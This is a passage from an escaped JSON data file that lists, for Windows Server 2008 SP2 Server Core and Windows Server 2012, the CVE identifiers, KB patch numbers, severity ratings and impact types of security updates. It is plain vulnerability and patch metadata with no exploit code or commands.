Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043135\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048710\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053888\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053888\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055609\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058449\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058449\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061026\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063888\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)\":[{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3906\",\"kb\":\"2901674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126041\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3158991\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3167679\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198234\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012497\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"3216916\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0101\",\"kb\":\"4011981\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4014793\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4018556\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019204\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041671\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4052303\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022010\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4022748\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4039384\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038874\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4039038\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056615\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056759\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4101477\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4056564\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093478\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4131188\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4134651\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4458010\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467706\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467706\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4134651\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480968\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499149\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530695\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534303\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537810\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541506\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556860\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556860\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571730\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571730\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003210\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003210\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003661\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005090\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005563\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006736\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029318\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025271\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026408\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073697\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028222\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041850\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043135\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048710\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053888\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053888\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055609\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058449\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058449\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061026\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063888\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2012\":[{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901127\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3082089\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3109560\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126587\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3146723\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3177108\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197876\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197876\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012214\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012214\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4015551\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019216\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019216\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041690\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054520\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022724\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022724\",\"severity\":\"Critical\",\"impact\":\"Remote Code 